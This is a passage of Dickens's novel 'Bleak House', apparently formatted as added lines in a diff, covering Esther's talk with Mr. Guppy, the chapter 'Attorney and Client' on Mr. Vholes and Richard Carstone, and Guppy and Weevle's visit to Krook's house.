+may, perhaps, have abandoned this project a long time. If so, excuse
+my giving you unnecessary trouble. If not, I entreat you, on the
+assurance I have given you, henceforth to lay it aside. I beg you to
+do this, for my peace."
+
+"I am bound to confess," said Mr. Guppy, "that you express yourself,
+miss, with that good sense and right feeling for which I gave you
+credit. Nothing can be more satisfactory than such right feeling, and
+if I mistook any intentions on your part just now, I am prepared to
+tender a full apology. I should wish to be understood, miss, as
+hereby offering that apology--limiting it, as your own good sense and
+right feeling will point out the necessity of, to the present
+proceedings."
+
+I must say for Mr. Guppy that the snuffling manner he had had upon
+him improved very much. He seemed truly glad to be able to do
+something I asked, and he looked ashamed.
+
+"If you will allow me to finish what I have to say at once so that I
+may have no occasion to resume," I went on, seeing him about to
+speak, "you will do me a kindness, sir. I come to you as privately as
+possible because you announced this impression of yours to me in a
+confidence which I have really wished to respect--and which I always
+have respected, as you remember. I have mentioned my illness. There
+really is no reason why I should hesitate to say that I know very
+well that any little delicacy I might have had in making a request to
+you is quite removed. Therefore I make the entreaty I have now
+preferred, and I hope you will have sufficient consideration for me
+to accede to it."
+
+I must do Mr. Guppy the further justice of saying that he had looked
+more and more ashamed and that he looked most ashamed and very
+earnest when he now replied with a burning face, "Upon my word and
+honour, upon my life, upon my soul, Miss Summerson, as I am a living
+man, I'll act according to your wish! I'll never go another step in
+opposition to it. I'll take my oath to it if it will be any
+satisfaction to you. In what I promise at this present time touching
+the matters now in question," continued Mr. Guppy rapidly, as if he
+were repeating a familiar form of words, "I speak the truth, the
+whole truth, and nothing but the truth, so--"
+
+"I am quite satisfied," said I, rising at this point, "and I thank
+you very much. Caddy, my dear, I am ready!"
+
+Mr. Guppy's mother returned with Caddy (now making me the recipient
+of her silent laughter and her nudges), and we took our leave. Mr.
+Guppy saw us to the door with the air of one who was either
+imperfectly awake or walking in his sleep; and we left him there,
+staring.
+
+But in a minute he came after us down the street without any hat, and
+with his long hair all blown about, and stopped us, saying fervently,
+"Miss Summerson, upon my honour and soul, you may depend upon me!"
+
+"I do," said I, "quite confidently."
+
+"I beg your pardon, miss," said Mr. Guppy, going with one leg and
+staying with the other, "but this lady being present--your own
+witness--it might be a satisfaction to your mind (which I should wish
+to set at rest) if you was to repeat those admissions."
+
+"Well, Caddy," said I, turning to her, "perhaps you will not be
+surprised when I tell you, my dear, that there never has been any
+engagement--"
+
+"No proposal or promise of marriage whatsoever," suggested Mr. Guppy.
+
+"No proposal or promise of marriage whatsoever," said I, "between
+this gentleman--"
+
+"William Guppy, of Penton Place, Pentonville, in the county of
+Middlesex," he murmured.
+
+"Between this gentleman, Mr. William Guppy, of Penton Place,
+Pentonville, in the county of Middlesex, and myself."
+
+"Thank you, miss," said Mr. Guppy. "Very full--er--excuse me--lady's
+name, Christian and surname both?"
+
+I gave them.
+
+"Married woman, I believe?" said Mr. Guppy. "Married woman. Thank
+you. Formerly Caroline Jellyby, spinster, then of Thavies Inn, within
+the city of London, but extra-parochial; now of Newman Street, Oxford
+Street. Much obliged."
+
+He ran home and came running back again.
+
+"Touching that matter, you know, I really and truly am very sorry
+that my arrangements in life, combined with circumstances over which
+I have no control, should prevent a renewal of what was wholly
+terminated some time back," said Mr. Guppy to me forlornly and
+despondently, "but it couldn't be. Now COULD it, you know! I only put
+it to you."
+
+I replied it certainly could not. The subject did not admit of a
+doubt. He thanked me and ran to his mother's again--and back again.
+
+"It's very honourable of you, miss, I am sure," said Mr. Guppy. "If
+an altar could be erected in the bowers of friendship--but, upon my
+soul, you may rely upon me in every respect save and except the
+tender passion only!"
+
+The struggle in Mr. Guppy's breast and the numerous oscillations it
+occasioned him between his mother's door and us were sufficiently
+conspicuous in the windy street (particularly as his hair wanted
+cutting) to make us hurry away. I did so with a lightened heart; but
+when we last looked back, Mr. Guppy was still oscillating in the same
+troubled state of mind.
+
+
+
+
+CHAPTER XXXIX
+
+Attorney and Client
+
+
+The name of Mr. Vholes, preceded by the legend Ground-Floor, is
+inscribed upon a door-post in Symond's Inn, Chancery Lane--a little,
+pale, wall-eyed, woebegone inn like a large dust-binn of two
+compartments and a sifter. It looks as if Symond were a sparing man
+in his way and constructed his inn of old building materials which
+took kindly to the dry rot and to dirt and all things decaying and
+dismal, and perpetuated Symond's memory with congenial shabbiness.
+Quartered in this dingy hatchment commemorative of Symond are the
+legal bearings of Mr. Vholes.
+
+Mr. Vholes's office, in disposition retiring and in situation
+retired, is squeezed up in a corner and blinks at a dead wall. Three
+feet of knotty-floored dark passage bring the client to Mr. Vholes's
+jet-black door, in an angle profoundly dark on the brightest
+midsummer morning and encumbered by a black bulk-head of cellarage
+staircase against which belated civilians generally strike their
+brows. Mr. Vholes's chambers are on so small a scale that one clerk
+can open the door without getting off his stool, while the other who
+elbows him at the same desk has equal facilities for poking the fire.
+A smell as of unwholesome sheep blending with the smell of must and
+dust is referable to the nightly (and often daily) consumption of
+mutton fat in candles and to the fretting of parchment forms and
+skins in greasy drawers. The atmosphere is otherwise stale and close.
+The place was last painted or whitewashed beyond the memory of man,
+and the two chimneys smoke, and there is a loose outer surface of
+soot everywhere, and the dull cracked windows in their heavy frames
+have but one piece of character in them, which is a determination to
+be always dirty and always shut unless coerced. This accounts for the
+phenomenon of the weaker of the two usually having a bundle of
+firewood thrust between its jaws in hot weather.
+
+Mr. Vholes is a very respectable man. He has not a large business,
+but he is a very respectable man. He is allowed by the greater
+attorneys who have made good fortunes or are making them to be a most
+respectable man. He never misses a chance in his practice, which is a
+mark of respectability. He never takes any pleasure, which is another
+mark of respectability. He is reserved and serious, which is another
+mark of respectability. His digestion is impaired, which is highly
+respectable. And he is making hay of the grass which is flesh, for
+his three daughters. And his father is dependent on him in the Vale
+of Taunton.
+
+The one great principle of the English law is to make business for
+itself. There is no other principle distinctly, certainly, and
+consistently maintained through all its narrow turnings. Viewed by
+this light it becomes a coherent scheme and not the monstrous maze
+the laity are apt to think it. Let them but once clearly perceive
+that its grand principle is to make business for itself at their
+expense, and surely they will cease to grumble.
+
+But not perceiving this quite plainly--only seeing it by halves in a
+confused way--the laity sometimes suffer in peace and pocket, with a
+bad grace, and DO grumble very much. Then this respectability of Mr.
+Vholes is brought into powerful play against them. "Repeal this
+statute, my good sir?" says Mr. Kenge to a smarting client. "Repeal
+it, my dear sir? Never, with my consent. Alter this law, sir, and
+what will be the effect of your rash proceeding on a class of
+practitioners very worthily represented, allow me to say to you, by
+the opposite attorney in the case, Mr. Vholes? Sir, that class of
+practitioners would be swept from the face of the earth. Now you
+cannot afford--I will say, the social system cannot afford--to lose
+an order of men like Mr. Vholes. Diligent, persevering, steady, acute
+in business. My dear sir, I understand your present feelings against
+the existing state of things, which I grant to be a little hard in
+your case; but I can never raise my voice for the demolition of a
+class of men like Mr. Vholes." The respectability of Mr. Vholes has
+even been cited with crushing effect before Parliamentary committees,
+as in the following blue minutes of a distinguished attorney's
+evidence. "Question (number five hundred and seventeen thousand eight
+hundred and sixty-nine): If I understand you, these forms of practice
+indisputably occasion delay? Answer: Yes, some delay. Question: And
+great expense? Answer: Most assuredly they cannot be gone through for
+nothing. Question: And unspeakable vexation? Answer: I am not
+prepared to say that. They have never given ME any vexation; quite
+the contrary. Question: But you think that their abolition would
+damage a class of practitioners? Answer: I have no doubt of it.
+Question: Can you instance any type of that class? Answer: Yes. I
+would unhesitatingly mention Mr. Vholes. He would be ruined.
+Question: Mr. Vholes is considered, in the profession, a respectable
+man? Answer:"--which proved fatal to the inquiry for ten years--"Mr.
+Vholes is considered, in the profession, a MOST respectable man."
+
+So in familiar conversation, private authorities no less
+disinterested will remark that they don't know what this age is
+coming to, that we are plunging down precipices, that now here is
+something else gone, that these changes are death to people like
+Vholes--a man of undoubted respectability, with a father in the Vale
+of Taunton, and three daughters at home. Take a few steps more in
+this direction, say they, and what is to become of Vholes's father?
+Is he to perish? And of Vholes's daughters? Are they to be
+shirt-makers, or governesses? As though, Mr. Vholes and his relations
+being minor cannibal chiefs and it being proposed to abolish
+cannibalism, indignant champions were to put the case thus: Make
+man-eating unlawful, and you starve the Vholeses!
+
+In a word, Mr. Vholes, with his three daughters and his father in the
+Vale of Taunton, is continually doing duty, like a piece of timber,
+to shore up some decayed foundation that has become a pitfall and a
+nuisance. And with a great many people in a great many instances, the
+question is never one of a change from wrong to right (which is quite
+an extraneous consideration), but is always one of injury or
+advantage to that eminently respectable legion, Vholes.
+
+The Chancellor is, within these ten minutes, "up" for the long
+vacation. Mr. Vholes, and his young client, and several blue bags
+hastily stuffed out of all regularity of form, as the larger sort of
+serpents are in their first gorged state, have returned to the
+official den. Mr. Vholes, quiet and unmoved, as a man of so much
+respectability ought to be, takes off his close black gloves as if he
+were skinning his hands, lifts off his tight hat as if he were
+scalping himself, and sits down at his desk. The client throws his
+hat and gloves upon the ground--tosses them anywhere, without looking
+after them or caring where they go; flings himself into a chair, half
+sighing and half groaning; rests his aching head upon his hand and
+looks the portrait of young despair.
+
+"Again nothing done!" says Richard. "Nothing, nothing done!"
+
+"Don't say nothing done, sir," returns the placid Vholes. "That is
+scarcely fair, sir, scarcely fair!"
+
+"Why, what IS done?" says Richard, turning gloomily upon him.
+
+"That may not be the whole question," returns Vholes, "The question
+may branch off into what is doing, what is doing?"
+
+"And what is doing?" asks the moody client.
+
+Vholes, sitting with his arms on the desk, quietly bringing the tips
+of his five right fingers to meet the tips of his five left fingers,
+and quietly separating them again, and fixedly and slowly looking at
+his client, replies, "A good deal is doing, sir. We have put our
+shoulders to the wheel, Mr. Carstone, and the wheel is going round."
+
+"Yes, with Ixion on it. How am I to get through the next four or five
+accursed months?" exclaims the young man, rising from his chair and
+walking about the room.
+
+"Mr. C.," returns Vholes, following him close with his eyes wherever
+he goes, "your spirits are hasty, and I am sorry for it on your
+account. Excuse me if I recommend you not to chafe so much, not to be
+so impetuous, not to wear yourself out so. You should have more
+patience. You should sustain yourself better."
+
+"I ought to imitate you, in fact, Mr. Vholes?" says Richard, sitting
+down again with an impatient laugh and beating the devil's tattoo
+with his boot on the patternless carpet.
+
+"Sir," returns Vholes, always looking at the client as if he were
+making a lingering meal of him with his eyes as well as with his
+professional appetite. "Sir," returns Vholes with his inward manner
+of speech and his bloodless quietude, "I should not have had the
+presumption to propose myself as a model for your imitation or any
+man's. Let me but leave the good name to my three daughters, and that
+is enough for me; I am not a self-seeker. But since you mention me so
+pointedly, I will acknowledge that I should like to impart to you a
+little of my--come, sir, you are disposed to call it insensibility,
+and I am sure I have no objection--say insensibility--a little of my
+insensibility."
+
+"Mr. Vholes," explains the client, somewhat abashed, "I had no
+intention to accuse you of insensibility."
+
+"I think you had, sir, without knowing it," returns the equable
+Vholes. "Very naturally. It is my duty to attend to your interests
+with a cool head, and I can quite understand that to your excited
+feelings I may appear, at such times as the present, insensible. My
+daughters may know me better; my aged father may know me better. But
+they have known me much longer than you have, and the confiding eye
+of affection is not the distrustful eye of business. Not that I
+complain, sir, of the eye of business being distrustful; quite the
+contrary. In attending to your interests, I wish to have all possible
+checks upon me; it is right that I should have them; I court inquiry.
+But your interests demand that I should be cool and methodical, Mr.
+Carstone; and I cannot be otherwise--no, sir, not even to please
+you."
+
+Mr. Vholes, after glancing at the official cat who is patiently
+watching a mouse's hole, fixes his charmed gaze again on his young
+client and proceeds in his buttoned-up, half-audible voice as if
+there were an unclean spirit in him that will neither come out nor
+speak out, "What are you to do, sir, you inquire, during the
+vacation. I should hope you gentlemen of the army may find many means
+of amusing yourselves if you give your minds to it. If you had asked
+me what I was to do during the vacation, I could have answered you
+more readily. I am to attend to your interests. I am to be found
+here, day by day, attending to your interests. That is my duty, Mr.
+C., and term-time or vacation makes no difference to me. If you wish
+to consult me as to your interests, you will find me here at all
+times alike. Other professional men go out of town. I don't. Not that
+I blame them for going; I merely say I don't go. This desk is your
+rock, sir!"
+
+Mr. Vholes gives it a rap, and it sounds as hollow as a coffin. Not
+to Richard, though. There is encouragement in the sound to him.
+Perhaps Mr. Vholes knows there is.
+
+"I am perfectly aware, Mr. Vholes," says Richard, more familiarly and
+good-humouredly, "that you are the most reliable fellow in the world
+and that to have to do with you is to have to do with a man of
+business who is not to be hoodwinked. But put yourself in my case,
+dragging on this dislocated life, sinking deeper and deeper into
+difficulty every day, continually hoping and continually
+disappointed, conscious of change upon change for the worse in
+myself, and of no change for the better in anything else, and you
+will find it a dark-looking case sometimes, as I do."
+
+"You know," says Mr. Vholes, "that I never give hopes, sir. I told
+you from the first, Mr. C., that I never give hopes. Particularly in
+a case like this, where the greater part of the costs comes out of
+the estate, I should not be considerate of my good name if I gave
+hopes. It might seem as if costs were my object. Still, when you say
+there is no change for the better, I must, as a bare matter of fact,
+deny that."
+
+"Aye?" returns Richard, brightening. "But how do you make it out?"
+
+"Mr. Carstone, you are represented by--"
+
+"You said just now--a rock."
+
+"Yes, sir," says Mr. Vholes, gently shaking his head and rapping the
+hollow desk, with a sound as if ashes were falling on ashes, and dust
+on dust, "a rock. That's something. You are separately represented,
+and no longer hidden and lost in the interests of others. THAT'S
+something. The suit does not sleep; we wake it up, we air it, we walk
+it about. THAT'S something. It's not all Jarndyce, in fact as well as
+in name. THAT'S something. Nobody has it all his own way now, sir.
+And THAT'S something, surely."
+
+Richard, his face flushing suddenly, strikes the desk with his
+clenched hand.
+
+"Mr. Vholes! If any man had told me when I first went to John
+Jarndyce's house that he was anything but the disinterested friend he
+seemed--that he was what he has gradually turned out to be--I could
+have found no words strong enough to repel the slander; I could not
+have defended him too ardently. So little did I know of the world!
+Whereas now I do declare to you that he becomes to me the embodiment
+of the suit; that in place of its being an abstraction, it is John
+Jarndyce; that the more I suffer, the more indignant I am with him;
+that every new delay and every new disappointment is only a new
+injury from John Jarndyce's hand."
+
+"No, no," says Vholes. "Don't say so. We ought to have patience, all
+of us. Besides, I never disparage, sir. I never disparage."
+
+"Mr. Vholes," returns the angry client. "You know as well as I that
+he would have strangled the suit if he could."
+
+"He was not active in it," Mr. Vholes admits with an appearance of
+reluctance. "He certainly was not active in it. But however, but
+however, he might have had amiable intentions. Who can read the
+heart, Mr. C.!"
+
+"You can," returns Richard.
+
+"I, Mr. C.?"
+
+"Well enough to know what his intentions were. Are or are not our
+interests conflicting? Tell--me--that!" says Richard, accompanying
+his last three words with three raps on his rock of trust.
+
+"Mr. C.," returns Vholes, immovable in attitude and never winking his
+hungry eyes, "I should be wanting in my duty as your professional
+adviser, I should be departing from my fidelity to your interests, if
+I represented those interests as identical with the interests of Mr.
+Jarndyce. They are no such thing, sir. I never impute motives; I both
+have and am a father, and I never impute motives. But I must not
+shrink from a professional duty, even if it sows dissensions in
+families. I understand you to be now consulting me professionally as
+to your interests? You are so? I reply, then, they are not identical
+with those of Mr. Jarndyce."
+
+"Of course they are not!" cries Richard. "You found that out long
+ago."
+
+"Mr. C.," returns Vholes, "I wish to say no more of any third party
+than is necessary. I wish to leave my good name unsullied, together
+with any little property of which I may become possessed through
+industry and perseverance, to my daughters Emma, Jane, and Caroline.
+I also desire to live in amity with my professional brethren. When
+Mr. Skimpole did me the honour, sir--I will not say the very high
+honour, for I never stoop to flattery--of bringing us together in
+this room, I mentioned to you that I could offer no opinion or advice
+as to your interests while those interests were entrusted to another
+member of the profession. And I spoke in such terms as I was bound to
+speak of Kenge and Carboy's office, which stands high. You, sir,
+thought fit to withdraw your interests from that keeping nevertheless
+and to offer them to me. You brought them with clean hands, sir, and
+I accepted them with clean hands. Those interests are now paramount
+in this office. My digestive functions, as you may have heard me
+mention, are not in a good state, and rest might improve them; but I
+shall not rest, sir, while I am your representative. Whenever you
+want me, you will find me here. Summon me anywhere, and I will come.
+During the long vacation, sir, I shall devote my leisure to studying
+your interests more and more closely and to making arrangements for
+moving heaven and earth (including, of course, the Chancellor) after
+Michaelmas term; and when I ultimately congratulate you, sir," says
+Mr. Vholes with the severity of a determined man, "when I ultimately
+congratulate you, sir, with all my heart, on your accession to
+fortune--which, but that I never give hopes, I might say something
+further about--you will owe me nothing beyond whatever little balance
+may be then outstanding of the costs as between solicitor and client
+not included in the taxed costs allowed out of the estate. I pretend
+to no claim upon you, Mr. C., but for the zealous and active
+discharge--not the languid and routine discharge, sir: that much
+credit I stipulate for--of my professional duty. My duty prosperously
+ended, all between us is ended."
+
+Vholes finally adds, by way of rider to this declaration of his
+principles, that as Mr. Carstone is about to rejoin his regiment,
+perhaps Mr. C. will favour him with an order on his agent for twenty
+pounds on account.
+
+"For there have been many little consultations and attendances of
+late, sir," observes Vholes, turning over the leaves of his diary,
+"and these things mount up, and I don't profess to be a man of
+capital. When we first entered on our present relations I stated to
+you openly--it is a principle of mine that there never can be too
+much openness between solicitor and client--that I was not a man of
+capital and that if capital was your object you had better leave your
+papers in Kenge's office. No, Mr. C., you will find none of the
+advantages or disadvantages of capital here, sir. This," Vholes gives
+the desk one hollow blow again, "is your rock; it pretends to be
+nothing more."
+
+The client, with his dejection insensibly relieved and his vague
+hopes rekindled, takes pen and ink and writes the draft, not without
+perplexed consideration and calculation of the date it may bear,
+implying scant effects in the agent's hands. All the while, Vholes,
+buttoned up in body and mind, looks at him attentively. All the
+while, Vholes's official cat watches the mouse's hole.
+
+Lastly, the client, shaking hands, beseeches Mr. Vholes, for heaven's
+sake and earth's sake, to do his utmost to "pull him through" the
+Court of Chancery. Mr. Vholes, who never gives hopes, lays his palm
+upon the client's shoulder and answers with a smile, "Always here,
+sir. Personally, or by letter, you will always find me here, sir,
+with my shoulder to the wheel." Thus they part, and Vholes, left
+alone, employs himself in carrying sundry little matters out of his
+diary into his draft bill book for the ultimate behoof of his three
+daughters. So might an industrious fox or bear make up his account of
+chickens or stray travellers with an eye to his cubs, not to
+disparage by that word the three raw-visaged, lank, and buttoned-up
+maidens who dwell with the parent Vholes in an earthy cottage
+situated in a damp garden at Kennington.
+
+Richard, emerging from the heavy shade of Symond's Inn into the
+sunshine of Chancery Lane--for there happens to be sunshine there
+to-day--walks thoughtfully on, and turns into Lincoln's Inn, and
+passes under the shadow of the Lincoln's Inn trees. On many such
+loungers have the speckled shadows of those trees often fallen; on
+the like bent head, the bitten nail, the lowering eye, the lingering
+step, the purposeless and dreamy air, the good consuming and
+consumed, the life turned sour. This lounger is not shabby yet, but
+that may come. Chancery, which knows no wisdom but in precedent, is
+very rich in such precedents; and why should one be different from
+ten thousand?
+
+Yet the time is so short since his depreciation began that as he
+saunters away, reluctant to leave the spot for some long months
+together, though he hates it, Richard himself may feel his own case
+as if it were a startling one. While his heart is heavy with
+corroding care, suspense, distrust, and doubt, it may have room for
+some sorrowful wonder when he recalls how different his first visit
+there, how different he, how different all the colours of his mind.
+But injustice breeds injustice; the fighting with shadows and being
+defeated by them necessitates the setting up of substances to combat;
+from the impalpable suit which no man alive can understand, the time
+for that being long gone by, it has become a gloomy relief to turn to
+the palpable figure of the friend who would have saved him from this
+ruin and make HIM his enemy. Richard has told Vholes the truth. Is he
+in a hardened or a softened mood, he still lays his injuries equally
+at that door; he was thwarted, in that quarter, of a set purpose, and
+that purpose could only originate in the one subject that is
+resolving his existence into itself; besides, it is a justification
+to him in his own eyes to have an embodied antagonist and oppressor.
+
+Is Richard a monster in all this, or would Chancery be found rich in
+such precedents too if they could be got for citation from the
+Recording Angel?
+
+Two pairs of eyes not unused to such people look after him, as,
+biting his nails and brooding, he crosses the square and is swallowed
+up by the shadow of the southern gateway. Mr. Guppy and Mr. Weevle
+are the possessors of those eyes, and they have been leaning in
+conversation against the low stone parapet under the trees. He passes
+close by them, seeing nothing but the ground.
+
+"William," says Mr. Weevle, adjusting his whiskers, "there's
+combustion going on there! It's not a case of spontaneous, but it's
+smouldering combustion it is."
+
+"Ah!" says Mr. Guppy. "He wouldn't keep out of Jarndyce, and I
+suppose he's over head and ears in debt. I never knew much of him. He
+was as high as the monument when he was on trial at our place. A good
+riddance to me, whether as clerk or client! Well, Tony, that as I was
+mentioning is what they're up to."
+
+Mr. Guppy, refolding his arms, resettles himself against the parapet,
+as resuming a conversation of interest.
+
+"They are still up to it, sir," says Mr. Guppy, "still taking stock,
+still examining papers, still going over the heaps and heaps of
+rubbish. At this rate they'll be at it these seven years."
+
+"And Small is helping?"
+
+"Small left us at a week's notice. Told Kenge his grandfather's
+business was too much for the old gentleman and he could better
+himself by undertaking it. There had been a coolness between myself
+and Small on account of his being so close. But he said you and I
+began it, and as he had me there--for we did--I put our acquaintance
+on the old footing. That's how I come to know what they're up to."
+
+"You haven't looked in at all?"
+
+"Tony," says Mr. Guppy, a little disconcerted, "to be unreserved with
+you, I don't greatly relish the house, except in your company, and
+therefore I have not; and therefore I proposed this little
+appointment for our fetching away your things. There goes the hour by
+the clock! Tony"--Mr. Guppy becomes mysteriously and tenderly
+eloquent--"it is necessary that I should impress upon your mind once
+more that circumstances over which I have no control have made a
+melancholy alteration in my most cherished plans and in that
+unrequited image which I formerly mentioned to you as a friend. That
+image is shattered, and that idol is laid low. My only wish now in
+connexion with the objects which I had an idea of carrying out in the
+court with your aid as a friend is to let 'em alone and bury 'em in
+oblivion. Do you think it possible, do you think it at all likely (I
+put it to you, Tony, as a friend), from your knowledge of that
+capricious and deep old character who fell a prey to the--spontaneous
+element, do you, Tony, think it at all likely that on second thoughts
+he put those letters away anywhere, after you saw him alive, and that
+they were not destroyed that night?"
+
+Mr. Weevle reflects for some time. Shakes his head. Decidedly thinks
+not.
+
+"Tony," says Mr. Guppy as they walk towards the court, "once again
+understand me, as a friend. Without entering into further
+explanations, I may repeat that the idol is down. I have no purpose
+to serve now but burial in oblivion. To that I have pledged myself. I
+owe it to myself, and I owe it to the shattered image, as also to the
+circumstances over which I have no control. If you was to express to
+me by a gesture, by a wink, that you saw lying anywhere in your late
+lodgings any papers that so much as looked like the papers in
+question, I would pitch them into the fire, sir, on my own
+responsibility."
+
+Mr. Weevle nods. Mr. Guppy, much elevated in his own opinion by
+having delivered these observations, with an air in part forensic and
+in part romantic--this gentleman having a passion for conducting
+anything in the form of an examination, or delivering anything in the
+form of a summing up or a speech--accompanies his friend with dignity
+to the court.
+
+Never since it has been a court has it had such a Fortunatus' purse
+of gossip as in the proceedings at the rag and bottle shop.
+Regularly, every morning at eight, is the elder Mr. Smallweed brought
+down to the corner and carried in, accompanied by Mrs. Smallweed,
+Judy, and Bart; and regularly, all day, do they all remain there
+until nine at night, solaced by gipsy dinners, not abundant in
+quantity, from the cook's shop, rummaging and searching, digging,
+delving, and diving among the treasures of the late lamented. What
+those treasures are they keep so secret that the court is maddened.
+In its delirium it imagines guineas pouring out of tea-pots,
+crown-pieces overflowing punch-bowls, old chairs and mattresses
+stuffed with Bank of England notes. It possesses itself of the
+sixpenny history (with highly coloured folding frontispiece) of Mr.
+Daniel Dancer and his sister, and also of Mr. Elwes, of Suffolk, and
+transfers all the facts from those authentic narratives to Mr. Krook.
+Twice when the dustman is called in to carry off a cartload of old
+paper, ashes, and broken bottles, the whole court assembles and pries
+into the baskets as they come forth. Many times the two gentlemen who
+write with the ravenous little pens on the tissue-paper are seen
+prowling in the neighbourhood--shy of each other, their late
+partnership being dissolved. The Sol skilfully carries a vein of the
+prevailing interest through the Harmonic nights. Little Swills, in
+what are professionally known as "patter" allusions to the subject,
+is received with loud applause; and the same vocalist "gags" in the
+regular business like a man inspired. Even Miss M. Melvilleson, in
+the revived Caledonian melody of "We're a-Nodding," points the
+sentiment that "the dogs love broo" (whatever the nature of that
+refreshment may be) with such archness and such a turn of the head
+towards next door that she is immediately understood to mean Mr.
+Smallweed loves to find money, and is nightly honoured with a double
+encore. For all this, the court discovers nothing; and as Mrs. Piper
+and Mrs. Perkins now communicate to the late lodger whose appearance
+is the signal for a general rally, it is in one continual ferment to
+discover everything, and more.
+
+Mr. Weevle and Mr. Guppy, with every eye in the court's head upon
+them, knock at the closed door of the late lamented's house, in a
+high state of popularity. But being contrary to the court's
+expectation admitted, they immediately become unpopular and are
+considered to mean no good.
+
+The shutters are more or less closed all over the house, and the
+ground-floor is sufficiently dark to require candles. Introduced into
+the back shop by Mr. Smallweed the younger, they, fresh from the
+sunlight, can at first see nothing save darkness and shadows; but
+they gradually discern the elder Mr. Smallweed seated in his chair
+upon the brink of a well or grave of waste-paper, the virtuous Judy
+groping therein like a female sexton, and Mrs. Smallweed on the level
+ground in the vicinity snowed up in a heap of paper fragments, print,
+and manuscript which would appear to be the accumulated compliments
+that have been sent flying at her in the course of the day. The whole
+party, Small included, are blackened with dust and dirt and present a
+fiendish appearance not relieved by the general aspect of the room.
+There is more litter and lumber in it than of old, and it is dirtier
+if possible; likewise, it is ghostly with traces of its dead
+inhabitant and even with his chalked writing on the wall.
+
+On the entrance of visitors, Mr. Smallweed and Judy simultaneously
+fold their arms and stop in their researches.
+
+"Aha!" croaks the old gentleman. "How de do, gentlemen, how de do!
+Come to fetch your property, Mr. Weevle? That's well, that's well.
+Ha! Ha! We should have been forced to sell you up, sir, to pay your
+warehouse room if you had left it here much longer. You feel quite at
+home here again, I dare say? Glad to see you, glad to see you!"
+
+Mr. Weevle, thanking him, casts an eye about. Mr. Guppy's eye follows
+Mr. Weevle's eye. Mr. Weevle's eye comes back without any new
+intelligence in it. Mr. Guppy's eye comes back and meets Mr.
+Smallweed's eye. That engaging old gentleman is still murmuring, like
+some wound-up instrument running down, "How de do, sir--how
+de--how--" And then having run down, he lapses into grinning silence,
+as Mr. Guppy starts at seeing Mr. Tulkinghorn standing in the
+darkness opposite with his hands behind him.
+
+"Gentleman so kind as to act as my solicitor," says Grandfather
+Smallweed. "I am not the sort of client for a gentleman of such note,
+but he is so good!"
+
+Mr. Guppy, slightly nudging his friend to take another look, makes a
+shuffling bow to Mr. Tulkinghorn, who returns it with an easy nod.
+Mr. Tulkinghorn is looking on as if he had nothing else to do and
+were rather amused by the novelty.
+
+"A good deal of property here, sir, I should say," Mr. Guppy observes
+to Mr. Smallweed.
+
+"Principally rags and rubbish, my dear friend! Rags and rubbish! Me
+and Bart and my granddaughter Judy are endeavouring to make out an
+inventory of what's worth anything to sell. But we haven't come to
+much as yet; we--haven't--come--to--hah!"
+
+Mr. Smallweed has run down again, while Mr. Weevle's eye, attended by
+Mr. Guppy's eye, has again gone round the room and come back.
+
+"Well, sir," says Mr. Weevle. "We won't intrude any longer if you'll
+allow us to go upstairs."
+
+"Anywhere, my dear sir, anywhere! You're at home. Make yourself so,
+pray!"
+
+As they go upstairs, Mr. Guppy lifts his eyebrows inquiringly and
+looks at Tony. Tony shakes his head. They find the old room very dull
+and dismal, with the ashes of the fire that was burning on that
+memorable night yet in the discoloured grate. They have a great
+disinclination to touch any object, and carefully blow the dust from
+it first. Nor are they desirous to prolong their visit, packing the
+few movables with all possible speed and never speaking above a
+whisper.
+
+"Look here," says Tony, recoiling. "Here's that horrible cat coming
+in!"
+
+Mr. Guppy retreats behind a chair. "Small told me of her. She went
+leaping and bounding and tearing about that night like a dragon, and
+got out on the house-top, and roamed about up there for a fortnight,
+and then came tumbling down the chimney very thin. Did you ever see
+such a brute? Looks as if she knew all about it, don't she? Almost
+looks as if she was Krook. Shoohoo! Get out, you goblin!"
+
+Lady Jane, in the doorway, with her tiger snarl from ear to ear and
+her club of a tail, shows no intention of obeying; but Mr.
+Tulkinghorn stumbling over her, she spits at his rusty legs, and
+swearing wrathfully, takes her arched back upstairs. Possibly to roam
+the house-tops again and return by the chimney.
+
+"Mr. Guppy," says Mr. Tulkinghorn, "could I have a word with you?"
+
+Mr. Guppy is engaged in collecting the Galaxy Gallery of British
+Beauty from the wall and depositing those works of art in their old
+ignoble band-box. "Sir," he returns, reddening, "I wish to act with
+courtesy towards every member of the profession, and especially, I am
+sure, towards a member of it so well known as yourself--I will truly
+add, sir, so distinguished as yourself. Still, Mr. Tulkinghorn, sir,
+I must stipulate that if you have any word with me, that word is
+spoken in the presence of my friend."
+
+"Oh, indeed?" says Mr. Tulkinghorn.
+
+"Yes, sir. My reasons are not of a personal nature at all, but they
+are amply sufficient for myself."
+
+"No doubt, no doubt." Mr. Tulkinghorn is as imperturbable as the
+hearthstone to which he has quietly walked. "The matter is not of
+that consequence that I need put you to the trouble of making any
+conditions, Mr. Guppy." He pauses here to smile, and his smile is as
+dull and rusty as his pantaloons. "You are to be congratulated, Mr.
+Guppy; you are a fortunate young man, sir."
+
+"Pretty well so, Mr. Tulkinghorn; I don't complain."
+
+"Complain? High friends, free admission to great houses, and access
+to elegant ladies! Why, Mr. Guppy, there are people in London who
+would give their ears to be you."
+
+Mr. Guppy, looking as if he would give his own reddening and still
+reddening ears to be one of those people at present instead of
+himself, replies, "Sir, if I attend to my profession and do what is
+right by Kenge and Carboy, my friends and acquaintances are of no
+consequence to them nor to any member of the profession, not
+excepting Mr. Tulkinghorn of the Fields. I am not under any
+obligation to explain myself further; and with all respect for you,
+sir, and without offence--I repeat, without offence--"
+
+"Oh, certainly!"
+
+"--I don't intend to do it."
+
+"Quite so," says Mr. Tulkinghorn with a calm nod. "Very good; I see
+by these portraits that you take a strong interest in the fashionable
+great, sir?"
+
+He addresses this to the astounded Tony, who admits the soft
+impeachment.
+
+"A virtue in which few Englishmen are deficient," observes Mr.
+Tulkinghorn. He has been standing on the hearthstone with his back to
+the smoked chimney-piece, and now turns round with his glasses to his
+eyes. "Who is this? 'Lady Dedlock.' Ha! A very good likeness in its
+way, but it wants force of character. Good day to you, gentlemen;
+good day!"
+
+When he has walked out, Mr. Guppy, in a great perspiration, nerves
+himself to the hasty completion of the taking down of the Galaxy
+Gallery, concluding with Lady Dedlock.
+
+"Tony," he says hurriedly to his astonished companion, "let us be
+quick in putting the things together and in getting out of this
+place. It were in vain longer to conceal from you, Tony, that between
+myself and one of the members of a swan-like aristocracy whom I now
+hold in my hand, there has been undivulged communication and
+association. The time might have been when I might have revealed it
+to you. It never will be more. It is due alike to the oath I have
+taken, alike to the shattered idol, and alike to circumstances over
